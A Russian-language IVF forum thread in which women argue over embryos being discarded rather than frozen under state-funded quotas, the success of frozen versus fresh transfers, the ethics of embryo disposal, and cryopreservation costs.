Девочки, добрый вечер. Сейчас буду ворчать и возмущаться... Вчера была на приеме, дак при мне забегала медсестра и из разговора с доктором я поняла, что кто-то из девочек решил не доводить протокол до максимума, а пройти пункцию чуть раньше, чтоб не было много клеточек, тип на этот перенос хватает и ладно...., да и из того, что будет перенести самых лучших, а остальных утилизировать, чтоб на крио ничего не было... как-то так. Сказать, что я в шоке - это ничего не сказать, я даже поперхнулась от недоумения (скажу корректно)... А доктор мне сказала, что очень часто девочки по ОМС оставшихся эмбрионов не морозят, а просто утилизируют, т.к. им легче снова квоту получить, чем за крио заплатить........ БЛИН!!! Я свой первый протокол по ОМС ждала примерно 3,5 года.... И я ни как не могу понять такое. Посотрясала воздух и что, что сделать то можно? Ведь в голове у другого человека ничегошеньки не изменишь и даже доктора ничего им доказать не могут.
Екатеринбург
Возмущаюсь
Санкт-Петербург
А я не понимаю причины возмущения. Ну вот так люди хотят. Если есть возможность подсаживать свежие эмбрионы, то всегда лучше подсаживать свежие. Я от нескольких репродуктологов такое мнение слышала. Если овуляторный запас хороший, возраст молодой, то лучше свежие эмбрионы получить и посадить, чем замороженные. Все-таки заморозка-это серьёзное физическое воздействие, и как оно потом аукнется хрен знает. Мне лумается , что большинство все-таки руководствуются подобными доводами нежели материальным вопросом.
Москва
Хотя бы потому что в этом случае утилизируются эмбрионы, то есть по сути это аборт. Сейчас крио технологии прекрасные!!! Да что там, ПРЕКРАСНЫЕ! В клинике, где я делала ЭКО иногда процент удач в крио выше, чем в свежем протоколе, так что все это уже пережитки старых технологий. Не идти в крио могут либо беззаботные девушки, которым деньги важнее духовного или те, кто не намучился в попытках родить ребенка и не понял, сто детей можно ждать не год, два, три, а 10/15/20 лет. О каком овуляторном запасе идет речь, когда дело о детях? Так можно сказать, что родился не совсем здоровый ребёночек, ну его, я еще молода, у меня хороший овуляторном запас, рожу еще парочку получше.
Санкт-Петербург
Я не согласна, что это аборт. А по поводу криотехнологий, конечно медицина шагнула вперед, и это очень хорошо. Это здорово, что есть шанс получить и сохранить хороших эмбриончиков. У меня нет к крио-деткам предвзятого отношения. Но шансы забеременеть со свежими эмбрионами всегда выше. У меня, например, была подобная ситуация. Из 11 эмбрионов 6 были отличниками, остальные похуже. Зачем мне заведомо сохранять так себе эмбрионы? Поэтому мы сохранили 4 лучшие, помимо тех которых посадили, а остальных утилизировали. И я не считаю, что это был аборт. И, по-моему, сравнивать новорожденного ребёнка и эмбрион как-то нелогично.
Неправда. Шансы в крио выше уже давно во всех клиниках. Во-первых после разморозки включаются внутренние резервы эмбрионов, а во-вторых организм мамы уже отдохнувший, более естественным образом проходит подсадка. Иногда даже просто в естественном цикле.
По поводу утилизации жесть конечно. Приживаются эмбрионы даже С класса. Класс - это вообще субъективная оценка эмбриологов. "Так себе" эмбрионов не существует. Но это ваше дело, осуждать не берусь. Вам волноваться нельзя
Санкт-Петербург
Я не волнуюсь, все в порядке) Просто заинтересовала тема, решила поучаствовать в обсуждении. Ну как говорится, сколько людей, столько и мнений.
Санкт-Петербург
Просто любопытно ваше мнение по следующему вопросу. Вот, допустим, остались у пары невостребованными 4 эмбриона, а у них уже есть такое количество детей, которое они хотели, ну допустим трое. А что же тогда с этими четыремя делать?
ну так и не все на эко идут, чтобы "лишних" эмбрионов не оставалось...
Я не знаю как поведет себя абстрактная пара ))) Я не в их шкуре сейчас, а в своей.
Яя
Я бы забирала и их. Это все так тяжело, я имею ввиду муки выбора. Слава богу у нас никого в крио не осталось. Я бы еще одного ребенка родила, но на эко не пойду именно по причине лишних эмбрионов. Здесь на форуме есть такая же девушка. У нее сын (после многих попыток), двойня и еще в крио двое. Они планируют забрать их. Хотя тоже многие и таких как я осуждают. Мы же кредиты брали. Многие говорят лучше 1родить и все дать ему, чем 2-3. Так что спорить можно бесконечно, но все равно каждый останется при своем мнении. Главное чтобы каждая из нас поступала так, как считает правильно. А всем не угодить.
Москва
Сравниваю эмбрион и ребенка потому что это по сути одно и тоже. А вот будет ли развиваться эмбрион и родится ли ребенок это либо воля Божья, и тогда случилось так как должно быть. вы же знаете, как часто беременность наступает не с первой попытки? Спросите о утилизации эмбрионов у девочек, кто забеременел и родил с 7-8-11 попытки. Или это решение родителей: зачем нам так много детей? Нам и одного/двух хватит. И тогда это осознанный выбор нерождения детей. У меня в крио 7 трехдневных эмбрионов. Трехдневки это не 5-ти дневки, понятно, что приживутся и родятся далеко не все. Но я хочу дать шанс моим детям родится. Мне 38 фактически(о, ужас) и у меня 2 ЭКО дочки и если повезет, то будут еще дети. Но это МОЙ выбор. У каждого он свой. Я не призываю рожать по 5-7, хотя наши бабушки и прабабушки так и делали, да и сейчас такое есть, к счастью), я за то, чтобы не утилизировать эмбрионы. И тут даже не столь религиозный вопрос, сколько этический. Опять таки только для меня. Легкой вам беременности.
Санкт-Петербург
Ну и что спросите об утилизации, у меня остались крио эмбрионы от предыдущих попыток а я делала новый свежий протокол, потому что мне надоели бесполезные безуспешные попытки в крио. И все попытки я делала за деньги, что б вы не решили что я экономлю, могла бы делать за 40 тыс, а делала за 300.
Москва
Вероятно, ваша первая стимуляция или работа эмбриологов была неуспешной. Для вас сейчас важен результат, так что носите с радостью ребенка. По поводу многих протоколов и отказа от крио, вы скорее исключение, чем правило. Что еще раз доказывают ваши комментарии выше.
Яя
Вот у меня такое же мнение. Не знаю плохо или хорошо, но мой сын, будучи эмбрионом, был в крио 6 мес. Даже страшно подумать, что я могла бы его утилизировать и пойти в свежий. Для меня эмбрионы это дети. Иначе, если считать что это просто материал, тогда почему плакать при раннем выкидыше или зб? Или кто у меня в животе сейчас? Мой ребенок или просто плод? В общем, мне бы очень хотелось, чтобы наука дошла скорее до такого уровня, когда врач будет получать только самые лучшие як, из которых будет только 1 эмбрион, который 100% будет приживаться. Чтобы уже точно 2 эко=2ребенка. Тогда и не будет слез, мук выбора и потраченного здоровья.
Москва
Это замечательно, что ваш сын дождался вас!))) надеюсь, что тоже смогу забрать своих крошек в скором времени. Конечно, идеально, когда будет 100 процентное попадание, да и еще в ец) думаю, что все к этому движется! Легкой вам беременности!!!
Казань
Даже здесь можно провести опрос и вы увидите,что шансы выше в крио,а не в свежем и причины вполне объяснимы!
Москва
Я тоже много раз слышала, что криопротокола успешнее. Да и для организма матери это легче. У меня свежих переносов не было, удача в крио.
Казань
Вы не правы,крио эмбрионы сильнее свежих и никак это не аукается на здоровье детей и это факт!!!
Санкт-Петербург
Вот в честь чего они сильнее свежих если морозят эмбрионы худшего качества, тк лучшие уже ушли в свежий. И что там с ними после разморозки тоже большой вопрос.
Санкт-Петербург
Вот не могу не согласиться. Мне эмбриолог говорил так:" Вы свежие или замороженные продукты предпочитаете приобретать?" Это когда я задала вопрос о том, что делать с крио, если ЭКО завершиться благополучно, а погодков мы не планируем.
Неудачное сравнение привел ваш эмбриолог, даже странно от эмбриолога такое слышать
Казань
Да согласна,мало того что грубый пример,так еще и ничем не обоснованный
Санкт-Петербург
Лен, я на капельницах лежала с теткой иностранкой, у нее в заморозку ушли 17 эмьрионов, если ее свежий протокол закончится удачей ей по этой логике надо сделать еще 17 подсадок и родить 17 детей? Да может ей один всего и нужен.
Санкт-Петербург
Вот и об этом тоже тут писала. Девочкам которые говорили о том, что утилизация недопустима.
Казань
Заморозить в морозилке и крио консервация это разные вещи,вот сразу видно что разницы не знаете.
Санкт-Петербург
Ну конечно я знаю разницу. Вы уж не думайте, что я совсем. Не прижился бы этот, сажала бы криошек. Но на дальнейшую перспективу....я не уверена. Что с ними через пять лет будет... Я не знаю.
Из-за гиперстимуляции пришлось уйти в крио, прям читаю вас и Надежды начинают рушаться... Даже, если это так, то зачем так грубо об этом писать? Здорово , что в вас был свежий протокол и не пришлось уходить в крио. А мне вот предстоит мой "замороженный продукт", как вы выразились.
Санкт-Петербург
Настя, вам удачи большой! Всем у вас получится! Поясню ещё раз, у меня тоже есть крио-эмбрионы, и я бы их подсаживала до последнено, если бы этот не прижился. Я сейчас рассуждаю на дальнейшую перспективу. Стоить ли подсаживать имеющихся крио через 5 лет или все-таки сделать потом свежих.Вот как бы кащунственно это не звучало, но пока остановилась на мнении, что, если здоровье будет позволять, то лучше получить свежие, пусть даже отправить в крио, если гипера будет. Опять же говорили здесь о утилизации, а куда девать оставшихся и т.д.
Казань
Настя не слушайте никого,в крио нет ничего страшного,детки не дебилы не уроды...а такие же как и все. Поверьте))
Яя
Анастасия! Я вам вот что скажу! Здесь есть миллион опросов на тему что лучше- крио или свежий, переносить двоих или одного, какой протокол выбрать. И знаете какие ответы? КАЖДАЯ девочка пишет, что нужно выбирать именно тот вид протокола, которые именно для нее оказался удачным! Например, у меня в свежем пролет, а в крио сын. Мы хотели с мужем идти по ом только ради того, чтобы получить много эмбрионов и потом ходить в крио, а вот девочка выше пишет, что не верить в крио, потому что именно в свежем у нее удача! Если бы был 1удачный вид протокола, а остальные плохие, мы бы все только выбирали его))). Огромной удачи вам! Пусть все получится! !!
Москва
Ваш репродуктолог странный человек. Крайне странный. Сказать такое надо иметь особый цинизм, уровень воспитания и образования. Моя врач когда подсаживала мне эмбрионы говорила, что с особым трепетом всегда относится к этому моменту и подсаживает с такой любовью, что просто все должны беременеть. И что криопротоколы сейчас стали намного успешнее, чем свежие(по статистике). Мне вообще импонирует Конда репродуктолог относится к своей работе с нежностью, ведь они участвуют в таком чудесном деле.
Казань
Кто вам сказал что морозят худшего? Такого бреда я еще не слышала. Морозят только лучшего качества и в основном это пятидневки,крайне редко трехдневки. Морозят лишь потому что остались " лишние" а не потому что плохие. Ни одна уважающая себя клиника не будет замораживать плохие эмбрионы,так как у них и шансов на разморозку мало ..только ЛУЧШИЕ. Раз они дожили до 5-6 дня,перенесли заморозку,а потом и разморозку это и есть наивысший показатель эмбрионов! В крио эмбрионы сильнее как правило и успехов в крио выше,по понятным причинам,которые я надеюсь не нужно объяснять.
Санкт-Петербург
Вообще то репродуктолог сказал и нк один, да и без его слов есть эмбриолист в котором расписаны все эмбрионы. А вы думали что в свежем сажают самых плохих а в крио идут лучшие?))
Казань
Я вообще то тоже экошница и о чем пишу знаю,а вот вы видимо совсем не в курсе и лишь слушаете врачей. Пошли на эко не понимая куда идете ( и не нужно только по своей истории и эмбриолисту судить о большинстве),не знаете что такое крио и говорите что это для эмбрионов ужас...Мой сын криошка ,здоровый мальчик это так к сведению! И еще не поленюсь и создам пост на эту тему : с вашим мнением и моим,посмотрите на ответы и поймете о чем я писала.
Санкт-Петербург
Не, я не только врачей, еще бабок на лавочке слушаю.
Санкт-Петербург
Можно цитату мою дословную в студию где написано мной что крио доя эмбрионов ужас? А то я решу что вы просто троллите.
Москва
У меня в свежем сажали отличника и троечника, потому что троечников не криоконсераируют, а шансы стать ребенком у всех одинаковые. Так предложила репродуктолог. Кто из эмбрионов стал моей сладкой девочкой я не знаю, это неважно. А вот остальных отличников заморозили,
У нас в клинике врачи по возможности всех пациентов уводят в крио, стараются не подсаживать в свежем - это лучше для матери и ребенка, это вообще-то мировая практика, доказано, что это эффективней.
Ой не соглашусь с вами, для меня крио это был мой единственный шанс забеременеть, и я просто благодарна всем кто помог мне получить криошек, всего двух , но моих самых дорогих , а в свежих никогда бы я не смогла забеременеть, и крио это шанс для многих девочек и шанс забеременеть с криошками всегда выше, это уже давно доказано и практикуется
Санкт-Петербург
Я ж не говорю, что крио-это плохо и нельзя. У меня у самой в крио 4 малыша. И если бы этот не прижился, я бы их подсаживала. Я просто не понимаю, что осудительного в утилизации, в отборе лучших эмбрионов и тому подобное, понимаю в общем-то позицию отказывающихся от крио, особенно, если разговор о длительнлм хранении, потому что слышала от разных репродуктологов разных мнения. Вот и все.
Я думаю что те кто отказываются от крио, кто не хочет тратить деньги и все , больше других объяснений нет
Санкт-Петербург
Если действительно из-за денег, то это конечно я тоже не понимаю. 15 тысяч у них лишних нет, а ребёнка они собрались рожать.
Санкт-Петербург
Ну не 15 а 38 положим, в регионах зарплаты по 8 тыс, так что вполне для кого то это серьезные деньги.
У нас 15 , откуда вы взяли 38???!!!
В каких таких регионах зп 8000 ₽? Интересно даже очень
Санкт-Петербург
В Волгоградской области, например,есть такие з/п... Средняя з/п в городе моего детства, как бы это прискорбно не звучало, 10-12 тыс.рублей. Я вообще не представляю, как они там выживают. Поэтому все оттуда и убегают массово в Москву или Питерм
Санкт-Петербург
Разница в 2 тысячи кардинально решает все в данном случае.
Санкт-Петербург
Я не знаю как у ВАС а у нас именно 38. 8 например в мантурово, а вообще россия большая, есть и меньше зарплаты, если вы не знали.
Санкт-Петербург
Так и я вам могу сказать, говорите что у вас 15, а не обобщайте))
Читайте выше , я написала У НАС 15, вы написали ну положим не 15 , а 38 Разговор ниочем называется, не вижу дальнейшего смысла обсуждать с вами дальше, а то вас в дебри понесло, не верите в крио, ваше право, и только из своего опыта делать тут голословные выводы не думаю что это будет приятно читать девочкам которые выбрали крио протокол.
Санкт-Петербург
А вы с чего решили что те кто отказывался от крио проживают у вас? "Гласнословные" выводы не буду делать.
Так вот и я про тоже, надеется на эко по квоте как на халяву, а потом когда ребеночек родится откуда халяву будут ждать
А в крио как раз отбирают самых лучших эмбрионов, и никак заморозка поверьте на эмбрионах не аукнется
Санкт-Петербург
В крио остается то что осталось от свежего, а лучшие подсаживают в свежем.
В крио остаются те которых дорастили до бластоцист , которые доросли и выжили , а это значит самые сильные эмбрионы , а не то что осталось от свежего
Санкт-Петербург
Еще раз. Лучшие и сильнейшие эмбрионы подсаживают в свежем, в крио всегда идут эмбрионы худшего качества. Не самые никудышные, их вообще не заиораживают, а худшего качества по сравнению с теми что идут в свежий. И по мере расходования крио попыток остаются все более худшие эмбрионы, тк лучшие подсаживают в первую очередь.
А я то все думаю как так у меня столько раз не получалось с моими трехдневками супер отличниками, а получилось с криошкой 5 АА с первого раза)))) а оказывается худшего решили оставить на потом )))
Санкт-Петербург
Это не моя логика, это порядок действий в процедуре эко.
Да??? И как давно ?))))))) или это опять же может в вашей клинике порядок действий такой, вы уточняйте
Санкт-Петербург
Простите, вы если чего то не знаете, это не значит, что этого нет.
Санкт-Петербург
Не берите на себя много, это выглядит нелепо.
Казань
)))я рада,что таких людей как вы в меньшинстве и оч жаль что существуют врачи,которые такую глупость льют в уши людям да еще и называются врачами
Санкт-Петербург
Каких таких людей и с чего вы решили что в меньшинстве?
Москва
Интересно, а если свежего не было? Лучших утилизировали, а худших заморозили, так что-ли? ?? У меня 14 Эмбрионов в крио меня дожидается и все отличного качества! И их витрифицировали, а не как кусок мяса заморозили. Если интересно погуглите в чем отличие.
Яя
У меня тоже все отличники были. Двоих перенесли. А остальные просто отличники. То есть эмбриолог отличия не видел в следующих переносах. Просто брал 1 соломинку и готовил к переносу.
Яя
Каждый верит только в свою удачу. Если вы меня спросите какой лучший протокол, я буду всегда говорить-крио на блокаде и переносить только двоих. Это потому что именно после такого протокола у меня ребенок. А другая девушка скажет, что только 1 переносить и только в ЕЦ или в свежем. У меня в свежем пролет, я свежего и опасаюсь, а у нее удача в свежем, а все крио пролетные. А по сути не важно какой протокол, главное чтобы подошел конкретно вам и закончился благополучными родами.
Москва
Это само собой. Но утверждать, что в крио идут плохие эмбрионы абсурдно 😉
Яя
Наверное у нее так было. Поэтому нам с отличниками не понять. Как и ей нас. В любом случае, не обращайте внимания! У нее так, а у вас будет совсем по другому. Для меня лучше пару крио, чем каждый раз в свежий. После свежего пролета организму нужно время для восстановоения, а в крио можно ходить и ходить.
Санкт-Петербург
У меня 8 бластоцист и еще 2 с прошлых протоколов. Вам не кажется что обсужлать человека в его присутствии выражаясь "у нее" не культурно и оскорбительно?
Яя
Нет."у нее", имеется ввиду у девушки, у женщины, у особы женского пола. Но если уж так обидела Вас, извините. Я совсем не хотела обидеть беременную (женщину/девушку/девочку), не знаю как написать, чтобы не обидеть Вас. Это без иронии, если что.
Яя
Кстати, опять же не для того чтобы зацепить Вас, а просто напомнить. Не помню у кого в посте, было обсуждение размера шейки. Девушка переживала. И Вы ниже написали "везет, некоторые шейки меряют". Извините, если не дословно. Мне тоже стало не комфортно. Но никто из всех некоторых не обиделся. В любом случае, у меня нет ни времени ни желания выяснять отношения и обижаться здесь ни на кого. И с Вами в том числе, тем более в Светлую Пасху.
Санкт-Петербург
Не очень поняла, что вы нашли в словах везет, вам шейку меряют, я это по моему Ксении писала, тк мы с ней в одинаковых ситуациях, у нас двойни и проблемы с шейкой, мне шейку в консультации мерять отказались, я хожу и делаю это за деньги, в чем проблема?
Яя
Проблема в том, что мы все тут пишем друг другу, а это немного не то, что в живую. То есть человек пишет сообщения с одним смыслом, а мы читаем и не можем уловить интонацию и настроение тог, кто писал. Оттуда и обиды. Я прочитала вашу фразу и поняла, что пишет девушка, которая немного позавидовала беременной. Для меня это показалось обидным выражением. А потом уже из Ваших постов я читаю, что Вы тоже в положение и у Вас двойня. Вот такая путаница. А привела я фразу в пример, потому что Вы обиделись что я о Вас написала "у нее" и Вас это обидело, хотя лично я не собиралась никого обижать, а Вы написали " у некоторых", для меня это точно такая же фраза. Хотя Вы тоже ее писали не с целью кого-то обидеть. Вывод: здесь очень редко кто хочет обидеть других девочек, но мы пишем все на эмоциях. Иногда кто-то что-то не так написал, а кто-то не так прочитал. Но это не повод обижаться. Все мы здесь разные. В том числе воспитание и образование, но у всех одна цель-забеременеть и стать мамами.
Санкт-Петербург
Так я с вами согласна, более того мои слова вышесказанные и подтверждаете. Действительно, сначала надо вникнуть о чем вообще разговор между людьми, а потом уже вставлять свои комментарии, что бы не получилось что слышал звон, но не знаешь где он. С праздником!
Яя
Так вся же проблема в том, что все пишут на эмоциях)). И Вас с самым светлым праздником!
Санкт-Петербург
Приведите цитату где написано что в крио идут плохие эмбрионы, что бы не было пустого балабольства с вашей стороны.
Санкт-Петербург
Вы извините, но что такое логика вам еще предстоит узнать.
Москва
Слушайте не вам судить о моей логике. Вы свои сообщения перечитайте. Вам несколько человек ответило, что вы не правы, еще об образовании судите и о культуре. И если что у меня образование МГУ, если вам это о чем то говорит.
Санкт-Петербург
В чем именно не права? Несколько человек не могут решать права я или нет, тем более если эти всего лишь несколько человек считают себя вправе осуждать людей за их решения.так делают бабки на лавочке. Если честно то ваше образование мгу вам не помогло ни в культуре общения ни в понимании человеческрй речи. Прошу ко мне больше не обращаться, от вас идет негатив.
Санкт-Петербург
Про тех у кого не было свежего я ничего не писала, не знаю что вы там себе напридумывали.
Яя
Вы правы и в то же время не совсем. Это так, если в свежем взяли 5-6 эмбрионов и все разного качества. Тогда да, самых лучших перенесут. А если получилось 16 отличников пятидневок? Тогда сильных перенесут, но остальные, такие же пойдут в крио. У кого-то именно крио удачный а в свежем пролеты, а у кого-то наоборот. Тут не угадать кому что. У кого-то удачная первая попытка, а у кого-то десятая. Поэтому каждый прав по своему.
Санкт-Петербург
Я вообще то это и имела ввиду, при чем доступным русским языком, приятно что хоть ктото умеет читать и понимать что написано. Дело в том что тема топика не в этом. А в том что ктото отказывается от крио. По моему мнению никакого права осуждать кого то у присутствующих нет, тем более не зная мотивов и причин. А себя я привела лишь в качестве примера. По моему вполне очевидного.
Екатеринбург
Простите, но я говорила вовсе не о том, что кто-то просто отказывается от крио (это личный выбор каждого), а о том, что просто легче снова пройти в свежий протокол по ОМС, а не морозить в крио (и уж не за такие огромные деньги) своих эмбрионов только по тому, что в ОМС это бесплатно. И если бы каждая девочка делала протокол за свои деньги, то скорее всего вряд-ли кто-то своих эмбриошек не морозил.
Санкт-Петербург
Мы не знаем почему ктото так делает, это чье то предположение, я не думаю что много женщин горит желанием каждый раз гробить свое здоровье стимуляциями, кто раз прошел через это знает как это трудно и вредно.
Екатеринбург
Согласна, что в здравом уме никто не согласится просто так снова пойти в свежий протокол, т.к. это очень на здоровье сказывается. Но.... видимо не всегда у всех здравый смысл срабатывает. И не так много женщин, надеюсь, исходит из того, что дешевле (финансово) новый протокол, чем крио.... И поняла я это из рассказов врача, из её личного опыта, а почему они так делают???
Тула
Вы меня конечно извините ,но тут у большей половины форума получилось ТОЛЬКО в крио ,у вас три крио пролёт ,но это говорит не о том ,что крио -слабые эмбрионы ,а о том ,что когда Вас стимулировали для крио ,Вам могла просто стимуляция не подойти ,или цикл был не очень удачный ,поэтому в следующем свежем и получилось ,мировая статистика (я интересуюсь темой ЭКО не только на русскоязычных ресурсах ,но изучаю материалы из других стран )говорит о том ,что в крио успех выше на 12,5% при прочих равных по сравнению со свежим ,мнение Вашего врача ,это только её личное мнение ,оно не подтверждено никакими данными,с тем же успехом можно утверждать ,что приём настоя одуванчика в стимуляции играет решающую роль в успехе протокола ..
Санкт-Петербург
Боже, вы читать умеете? Что за стадное чувство у людей, даже обидно за женщин. То всей толпой кидаются осуждать тех кто отказываются от крио, хотя и права то никакого не имеют никого осуждать и лезть в чужую душу, ибо сами явно уже по этой дискусии и поведению своему ну ооочень далеки от идеалов добродетели.. То теперь одна гавкнула и все зацепились за то, чего я и не говорила. Одна тетенька написала что лучшие эибрионы морозят, а я лишь ответила, что лучшие идут в свежий протокол, оставшиеся в крио. Это факт. Известный даже младенцу. Речь не шла о тех, кому вообще не делают перенос в свежем и все идет в крио. Нужно хоть иногда слушать не только себя. Я понимаю что все в с разным образованием, уровнем культуры и соображением. Но хоть агрессию то свою прибрать нужно, если смысл написанного доходит с трудом. Это не к вам лично.
Москва
Моя врач нарочно меня в крио уводила. Эмбрионы сильные, эндометрий в ец самост растет, гормон нагрузка на маму и будущее дите меньше. Вы просто пока не совсем понимаете смысл крио.
Санкт-Петербург
Да, я наверное пока не понимаю, после трех безуспешных крио и удачи в свежем.
Москва
это не говорит о том, что крио это плохо. Это говорит о профессионализме эмбриологов, средах , а может просто от улачи и судьбы! всего Вам хорошего!
Москва
Осуждение в моралтном плане, девочки имеют ввиду. Это не по человечески, как бы. яотсуда и Церковь против, из за как раз вопросов утилизации. Кто мы такие, чтобы решать, кому жить, а кого утилизировать.
Москва
Много научных работ, что крио эмбрионы сильнее, и протоколы лучше, можно в ец провести. Моя подруга врач постоянно на конференциях по эко присутствует. Странные врачи говорят об обратном.
Екатеринбург
Тут скорее не такими доводами аргументируются. А только материальным вопросом.... Поэтому это мне и непонятно, Да и воздействие протокола на организм, как и пункции все же не однозначно - всякое случается, вплоть до самых ужасных последствий.
Тула
Что значит это их дело ? Етишкин кот , но вот из за этих девочек , которые считают , что 15-20 тыс не лишние , и лучше на халяву сходить в свежий , очереди безумные для тех кто ждет по ОМС , они же сразу в свежем многие на следующую попытку подают , чтоб не ждать , и кто то из за них и год сидит ожидает . Я считаю ,это гадство ( подчеркиваю ,это МОЕ мнение) и если один раз утилизировала свои эмбрионы просто , чтобы не платить , все по ОМС путь закрывать ,не дорожат детьми - пусть делают платно . Тут многие пишут , что осуждать нельзя . А я осуждаю и считаю такие поступки в целях экономии скотством . Люди годами бьются за детей , тратят на это все сбережения , а тут такое отношение , я иногда правда думаю , что бесплатное не ценится , вот если бы эти девушки платили бы за свое ЭКО вряд ли бы они так детьми разбрасывались .
Москва
Я, кстати, руками и ногами за!!! Может именно ограничение квот и омс в случае отказа от эмбрионов остановит отношение к эмбрионам как к ненужному капиталовложению. Эмбрионы расцениваются как пустая трата денег, а не как нечто ОЧЕНЬ важное, как промежуточная цель протокола. Как можно хотеть детей и отказываться от эмбрионов в целях экономии денег мне не понять(
Тула
Да просто все легко дается , я так думаю,если бы они на эту попытку копили несколько лет ,в чем то себе отказывая ,такого отношения не было бы. Я ниже прочитала тут пишут про низкие зарплаты ,но ведь даже те,кто не ждет квоту очень долго , не за один день узнают о начале протокола ,и как минимум полгода знают ,что пойдут в ЭКО ,ну неужели за полгода-год нельзя накопить 15 000 ? Я в это не верю ,просто не хотят ,ну и опять же не надо забывать ,что врачам такие пациентки выгодны ,так как она будет ходить по ОМС , а государство будет постоянно платить врачу за протоколы ,для врача протоколы по омс даже выгодней ,чем коммерческие (это мне репродуктолог рассказала) они больше с них имеют финансово ,поэтому пациенток никто и не отговаривает от утилизации хороших эмбрионов
Яя
Насчет насобирать на крио 15000. У меня в этот раз не хватало денег. Но в клинике нам предоставили рассрочку. Мы смогли все что нужно оплатить. А деньги вернули клинике за пару месяцев. Я смотрю несколько клиник в нашем городе дают такую рассрочку. То есть оформляется все через банк, а клиника делает скидку в сумме процентов. Получается вообще ничего не переплатили мы. Так что ввход всегда есть. Тяжело только тем девочкам, у кого пгд и т д. А стандартное крио очень недорого выходит. По крайней мере нам.
Яя
У нас в прошлом году не было денег оплатить крио. Нужно было в феврале. Так клиника без проблем ждала. Оплатили только в апреле. Я тоже за крио. Вот на свежий платно нужно много денег, да и здоровье подрывает не хило. И потом восстановить чтобы его нужно много работы. У меня ушло 6 мес. А вот крио, даже на блокаде, вообще ни по чем. Только морально тяжело, если пролет. Для меня омс это хороший способ получить эмбрионы для нескольких крио. Я планировала по омс пойти, в случае пролета сразу же еще раз подавать. А в промежутке ходить в крио.
Удалила нечаянно свое сообщение((( для меня кстати тоже эко по омс был , чтобы получить эмбриончики в крио , тк в прошлые эко на крио ничего не оставалось и пролеты, душа просто разрывалась ((((
Яя
Дай Бог, чтобы следующий протокол стал победным! Конечно обидно, кто-то сливает эмбрионы без сожаления, а кто-то бьется за свое счастье изо всех сил ((.
Екатеринбург
Если бы у мне в первый раз на крио хоть кто-то остался.... И я не ожидала, что следующая попытка (это я про ОМС) будет через 1,5 года.
Москва
Я даже не знала, что омс клиникам выгоднее. Нам, например, как и ниже Мышка написала, не то чтобы рассрочку дали, в нашем протоколе крио и полгода хранения входят в стоимость протокола, а вот потом получается надо доплачивать. Мы приехали доплачивать за месяц до родов, то есть нашу оплату ждали 2 месяца. Я позвонила и предложила перевести деньги через банк, но репродуктолог рассмеялась и сказала, что ничего страшного, они подождут моего приезда. Думаю, что есть много вариантов оплаты крио когда реально с деньгами туго(а сейчас это у всех). Да и будем честными, сейчас так сильно подорожала жизнь, что стандартный набор продуктов на неделю уже стоит как половина крио протокола в лучшем случае. Удачи вам!
Екатеринбург
Главное, чтобы не просто сделали - несколько пролетных протоколов и "ВСЕ"!, главное чтоб с "головой" к этому подходили (я про государство)))).
Екатеринбург
Вот и я испытывала очень жуткие чувства сидя у доктора и выслушивая речь медсестры! И когда я спрашивала у доктора "Как же так и почему?!" Она мне сама, в огромном недоумении, говорила что "Многие считают, что мы тут из них деньги выкачиваем, но не понимают риски, которые могут возникнуть при протоколе и пункции." И я все же ни как не могу понять как так нет возможности крио, когда есть малышастики на заморозку...!!!
Москва
Полностью поддерживаю!!! Если просто так утилизируют эмбрионы, то я бы лишала возможности делать по ОМС.
Москва
Я к своим оставшимся эмбрионам очень трепетно отношусь и буду продлевать заморозку дальше. Очень боюсь, что не получится забрать.
Брянск
А я вот слышала мнение одной мадмуазель, что она не будет морозить эмбрионы, ей видите ли кто-то там сказал, что они и так все полудохлые и вся эта заморозка только выкачка денег. И она будет делать только свежие протоколы
Тула
Интересно , что эта мадмуазель запоет , когда до последствий стимуляций до стимулируется .... Госпди какие феерические ....слов нет
Брянск
Я так тяжко переносила эту стимуляцию, плюс еще небольшая гипера началась, я бы потом с трудом решилась бы на свежий протокол
Тула
У меня три гиперы ...Решишься когда деваться некуда , но так чтоб по своей воле все усилия прилагать , чтоб по новой стимулироваться ,это странно . Особенно когда эмбрионы хорошие, иногда девчонкам приходится идти в свежий , даже при наличии крио , когда уже понятно , что с этими крио беременности не будет , но специально .....
Тула
Так ,не расстраиваться . Тут у половины форума так ,у меня тоже труб нет . Многие наши девочки уже родили давно ,без труб
Брянск
Нет, нет это не расстройство) читая истории других, ловлю себя на мысли, что у меня не все так плохо. Некоторые через такие испытания проходят, что нужно ставить памятник таким людям!
Саранск
Встречала таких в очереди к репродуктологу. А что, говорили они, у нас 15 тыс не лишние (столько у нас крио стоит), мы лучше ещё раз квоту оформим... У них видимо здоровье и нервы лишние, может пусть с нами ими поделятся, я б им по 15 тыс платила сама
Санкт-Петербург
Не, ну вот такой подход конечно меня тоже удивляет, ребёнка они рожать собрались, а 15 тысяч лишних нет.
Екатеринбург
Да уж, если бы хоть была в тот первый раз возможность крио....
Саранск
У меня тоже в крио ничего не осталось, а я так надеялась. Но мне сказали, что оставшиеся эмбрионы не пригодны для заморозки. Переживала очень, как так.. из 8 то отличных зрелых ЯК. А недавно случайно узнала, что эмбриолог у нас просто не владеет техникой криоконсервации.. а нам просто лапшу на уши вешали тогда((
Екатеринбург
Офигеть!!! Очень жаль что попадаются еще такие "профессионалы"... Я думала, что такого уже нет.
Саранск
Да это не эмбриолога вина, это местечковая политика такая((. Только представьте - главный наш гинеколог открывает платную ЭКО клинику и забирает всех профессионалов со стажем (хотя и к ним вопросы есть) в эту новую клинику. В бесплатной же остаются интерны, декретницы, а эмбриолога с биофака университета пригласили. Понятно, что он там не занимался заморозкой/разморозкой человеческих эмбрионов
Когда пройден ни один протокол , а беременность все не наступает и в свежих нет никаких надежд на криошек, только тогда ты начинаешь понимать и ценить каждую свою клеточку, потому что крио это возможность это шанс на беременность , свежие протоколы убивают здоровье и идти на эко по квоте ради экономии в данной ситуации не разумно, если вам не 30-40 лет то крио это реальный шанс сходить за детками через год через два да когда захочется детишек еще. Я против ничего не имею утилизации, это выбор каждого, но ксли только из соображений , что эко по квоте халява , выброшу этих, потом снова схожу на халяву , то это неправильно, если вы не можете оплатить элементарно анализы, и своих деток за заморозку за хранение, то как вы будете содержать детей, им тоже нужны всякие анализы , обследования, одежда питание и тд тп, или тоже откуда то халявы будете ждать???
Москва
Деньги в этом случае ставятся выше детей. Это не осуждение, это констатация факта. Такие девочки, как правило, пока еще не намучились в борьбе с бесплодием. Дети-дар Божий, жто мое мнение. Мы итак стараемся вымолить этот дар...
